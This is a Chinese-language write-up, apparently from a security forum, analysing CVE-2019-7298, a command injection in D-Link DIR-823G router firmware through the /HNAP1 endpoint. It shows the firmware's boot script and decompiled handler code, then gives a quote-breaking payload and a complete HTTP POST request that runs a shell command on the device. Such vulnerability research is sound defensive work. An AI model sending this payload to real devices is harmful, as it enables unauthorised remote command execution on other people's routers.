CVE-2019-7298

漏洞描述

An issue was discovered on D-Link DIR-823G devices with firmware through 1.02B03. A command Injection vulnerability allows attackers to execute arbitrary OS commands via a crafted /HNAP1 request. This occurs when any HNAP API function triggers a call to the system function with untrusted input from the request body, such as a body of ' /bin/telnetd' for the GetDeviceSettingsset API function. Consequently, an attacker can execute any command remotely when they control this input.

在固件版本为 1.02B03 的 D-Link DIR-823G 设备上发现了一个命令注入漏洞,该漏洞允许攻击者通过精心设计的 /HNAP1 请求执行任意操作系统命令。在 HNAP API 函数处理请求之前,system 函数执行了不可信的命令,触发该漏洞

影响版本

  • D-Link DIR-823G Firmware version: 1.02B03

漏洞分析

Binwalk 解包固件:

binwalk -Me DIR823GA1_FW102B03.bin

这里首先分析 rcS 文件,在 rcS 文件中,先会执行一列 mountmkdircpecho 操作:

#!/bin/sh

ifconfig lo 127.0.0.1

CINIT=1

hostname rlx-linux

mount -t proc proc /proc
mount -t ramfs ramfs /var
if [ -d "/hw_setting" ];then
    mount -t yaffs2 -o tags-ecc-off -o inband-tags /dev/mtdblock1 /hw_setting
fi

mkdir /var/tmp
mkdir /var/web
mkdir /var/log
mkdir /var/run
mkdir /var/lock
mkdir /var/system
mkdir /var/dnrd
mkdir /var/avahi
mkdir /var/dbus-1
mkdir /var/run/dbus
mkdir /var/lib
mkdir /var/lib/misc
mkdir /var/home
mkdir /var/root
mkdir /var/tmp/net
###for tr069
mkdir /var/cwmp_default
mkdir /var/cwmp_config

if [ ! -f /var/cwmp_default/DefaultCwmpNotify.txt ]; then
        cp -p /etc/DefaultCwmpNotify.txt /var/cwmp_default/DefaultCwmpNotify.txt 2>/dev/null
fi

##For miniigd
mkdir /var/linuxigd
cp /etc/tmp/pics* /var/linuxigd 2>/dev/null

##For pptp
mkdir /var/ppp
mkdir /var/ppp/peers

#smbd
mkdir /var/config
mkdir /var/private
mkdir /var/tmp/usb

#snmpd
mkdir /var/net-snmp

cp /bin/pppoe.sh /var/ppp/true
echo "#!/bin/sh" > /var/ppp/true
#echo "PASS"     >> /var/ppp/true

#for console login
cp /etc/shadow.sample /var/shadow

#for weave
cp /etc/avahi-daemon.conf /var/avahi

#extact web pages
cd /web
#flash extr /web
cd /

mkdir -p /var/udhcpc
mkdir -p /var/udhcpd
cp /bin/init.sh /var/udhcpc/eth0.deconfig
echo " " > /var/udhcpc/eth0.deconfig
cp /bin/init.sh /var/udhcpc/eth1.deconfig
echo " " > /var/udhcpc/eth1.deconfig
cp /bin/init.sh /var/udhcpc/br0.deconfig
echo " " > /var/udhcpc/br0.deconfig
cp /bin/init.sh /var/udhcpc/wlan0.deconfig
echo " " > /var/udhcpc/wlan0.deconfig

if [ "$CINIT" = 1 ]; then
startup.sh
fi

# for wapi certs related
mkdir /var/myca
# wapi cert(must done before init.sh)
cp -rf /usr/local/ssl/* /var/myca/ 2>/dev/null
# loadWapiFiles >/dev/null 2>&1

# for wireless client mode 802.1x
mkdir /var/1x
cp -rf /usr/1x/* /var/1x/ 2>/dev/null
mkdir /var/openvpn
cp -rf /usr/share/openvpn/* /var/openvpn 2>/dev/null

# Start system script
init.sh gw all

# modify dst-cache setting
echo "24576" > /proc/sys/net/ipv4/route/max_size
echo "180" > /proc/sys/net/ipv4/route/gc_thresh
echo 20 > /proc/sys/net/ipv4/route/gc_elasticity
# echo 35 > /proc/sys/net/ipv4/route/gc_interval
# echo 60 > /proc/sys/net/ipv4/route/secret_interval
# echo 10 > /proc/sys/net/ipv4/route/gc_timeout

# echo "4096" > /proc/sys/net/nf_conntrack_max
echo "12288" > /proc/sys/net/netfilter/nf_conntrack_max
echo "600" > /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_established
echo "20" > /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_time_wait
echo "20" > /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_close
echo "90" > /proc/sys/net/ipv4/netfilter/ip_conntrack_udp_timeout
echo "120" > /proc/sys/net/ipv4/netfilter/ip_conntrack_udp_timeout_stream
echo "90" > /proc/sys/net/ipv4/netfilter/ip_conntrack_generic_timeout
# echo "1048576" > /proc/sys/net/ipv4/rt_cache_rebuild_count
echo "32" > /proc/sys/net/netfilter/nf_conntrack_expect_max

# modify IRQ Affinity setting
echo "3" > /proc/irq/33/smp_affinity

#echo 1 > /proc/sys/net/ipv4/ip_forward #don't enable ip_forward before set MASQUERADE
#echo 2048 > /proc/sys/net/core/hot_list_length

# start web server
ls /bin/watchdog > /dev/null && watchdog 1000&
#boa

goahead &

#Turn off the power led of orange
echo "29" > /sys/class/gpio/export
echo "out" > /sys/class/gpio/gpio29/direction
echo "1" > /sys/class/gpio/gpio29/value
#Turn on the power led of green
echo "30" > /sys/class/gpio/export
echo "out" > /sys/class/gpio/gpio30/direction
echo "0" > /sys/class/gpio/gpio30/value

cp /etc/passwd_orig /var/passwd
cp /etc/group_orig /var/group
MODE=`flash get HW_FACTORY_MODE`
if [ "$MODE" = "HW_FACTORY_MODE=1" ];then
telnetd&
fi
speedcheck&

需要注意它在中途执行了 goahead 命令,并置于后台。这里解释一下 GoAhead:

GoAhead 是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的嵌入式 Web Server

其中 goahead 的 websUrlHandlerDefine() 函数允许用户自定义不同 URL 的处理函数:

websUrlHandlerDefine(T("/HNAP1"), NULL, 0, websHNAPHandler, 0);
websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0);
websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0);

这里就表示:

  • /HNAP1 交给 websHNAPHandler() 函数处理
  • /goform 交给 websFormHandler() 函数处理
  • /cgi-bin 交给 websCgiHandler() 函数处理

这些处理函数有统一的参数:

int (*fn)(webs_t wp, char_t *url, char_t *path, char_t *query)
    wp    Web server connection handle.  
    url   Request URL.  
    path  Request path portion of the URL.  
    query Query string portion of the URL.

既然知道漏洞点出现在 /HNAP1 中,就可以用 IDA 打开 /bin/goahead 文件,并查找字符串 /HNAP1。通过跟踪审计伪代码可知下图红框处伪代码即为上述用户自定义的不同 URL 的处理函数:

sub_40B1F4() 函数对应 websUrlHandlerDefine() 函数,sub_42383C() 函数对应 websHNAPHandler() 函数,所以这里分析 sub_42383C() 函数,该函数代码如下:

int __fastcall sub_42383C(int a1, int a2, int a3, int a4, int a5, int a6, const char *a7)
{
  int v8; // [sp+34h] [+34h]
  int v9; // [sp+38h] [+38h]
  int v10; // [sp+40h] [+40h]
  int v11[1277]; // [sp+4Ch] [+4Ch] BYREF

  v10 = 0;
  strcpy(
    v11,
    "HTTP/1.0 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nConnection: close\r\nCache-Control: private\r\n\r\n");
  v9 = 0;
  v11[26] = 0;
  dword_58E080 = a1;
  v8 = malloc(10240);
  if ( v8 )
  {
    memset(v8, 0, 10240);
    v9 = malloc(51200);
    if ( v9 )
    {
      memset(v9, 0, 51200);
      if ( *(a1 + 1316) )
      {
        apmib_get(7011, &v11[26]);
        for ( dword_58E084 = &off_58C560; *dword_58E084; dword_58E084 += 8 )
        {
          if ( strstr(*(a1 + 1316), *dword_58E084) )
          {
            memset(&v11[27], 0, 5000);
            snprintf(&v11[27], 4999, "echo '%s' >/var/hnaplog", a7);
            system(&v11[27]);
            printf("wp->hnapfunc===========>%s\n", *(a1 + 1316));
            if ( !strncmp(*dword_58E084, "GetLocalMac", 11) )
            {
              memset(&qword_58E060, 0, 32);
              strncpy(&qword_58E060, a1 + 48, 32);
            }
            if ( (*(dword_58E084 + 4))(a7) )
              break;
          }
        }
      }
      else
      {
        sub_432D28(a7);
      }
    }
    else
    {
      printf("websHNAPFuncHandler: not enough memory (1)\n!");
      v10 = -1;
    }
  }
  else
  {
    printf("websHNAPFuncHandler: not enough memory (0)\n!");
    v10 = -1;
  }
  free(v8);
  free(v9);
  return v10;
}

可以发现 sub_4238c 主要通过遍历全局的函数表 off_58C560 来处理 HNAP1 接受的不同请求:

其中 off_58C560 中每个元素的前四个字节为函数名,后四个字节为对应的函数地址。当找到了需要调用的处理函数后,就会向 /var/hnaplog 中记录 a7 的值,hackedbylh 指出是 POST 的报文,Ta 是通过在运行过程中查看文件 /var/hnaplog 从而猜测出来的,如图所示:

可以发现我们传入的 SOAP 协议消息被写入到了 /var/hnaplog 文件中,所以这个 a7 就是 POST 保温,继续分析伪代码,可以知道这里记录日志采取的方式是首先用 snprintf 生成命令, 然后直接使用 system 执行。需要注意的是,POST 的数据要加上引号,因为 echo '%s' > /var/hnaplog 中本身带了单引号,如果构造的 Payload 为:

`/bin/telnet`

那么传递过去就变成了:

echo '`/bin/telnet`' > /var/hnaplog

由于命令由引号括起,该 Payload 会当做字符串处理,不会执行命令。所以需要构造这样的 Payload:

'`/bin/telnet`'

此时传递过去就变成了:

echo ''`/bin/telnet`'' > /var/hnaplog

可以看到闭合了两个引号

漏洞利用

Payload:

'`echo hacked > /web_mtn/hacker.txt`'

完整请求数据包参考如下:

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 37
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Content-Type: text/xml; charset=UTF-8
Accept: */*
SOAPAction: "http://purenetworks.com/HNAP1/Login"
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

'`echo hacked > /web_mtn/hacker.txt`'

这里构造数据包如图所示:

来到 /tmp/ 目录下看看文件是否创建成功:

可以看到文件被创建成功

一些问题

漏洞利用时为什么要加上:

SOAPAction: "http://purenetworks.com/HNAP1/Login"

官方解释 SOAPAction:

The SOAPAction header is a transport protocol header (either HTTP or JMS). It is transmitted with SOAP messages, and provides information about the intention of the web service request, to the service. The WSDL interface for a web service defines the SOAPAction header value used for each operation. Some web service implementations use the SOAPAction header to determine behavior.

If a SOAPAction header is set in the inbound SOAP request (through a web service export), its value is placed in the /headers/SMOHeader/Action field of the Service Message Object (SMO). Otherwise, the value in /headers/SMOHeader/Action is not set.

翻译一下:

SOAPAction 标头是传输协议标头(HTTP 或 JMS)。 它与 SOAP 消息一起传输,并向服务提供有关 Web 服务请求意图的信息。 Web 服务的 WSDL 接口定义了用于每个操作的 SOAPAction 标头值。 某些 Web 服务实现使用 SOAPAction 标头来确定行为。

如果在入站 SOAP 请求中设置了 SOAPAction 标头(通过 Web 服务导出),则其值将放置在服务消息对象 (SMO) 的 /headers/SMOHeader/Action 字段中。 否则,不会设置 /headers/SMOHeader/Action 中的值。

根据 这篇文章SOAPAction 是必须被添加的,根据下图:

可以猜测 (a1 + 1316) 实际就为 SOAPAction 的值。经过测试之后发现,其实只要 off_58C560 中有某一个函数在 SOAPAction 中即可,就像下图这样:

参考文章

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖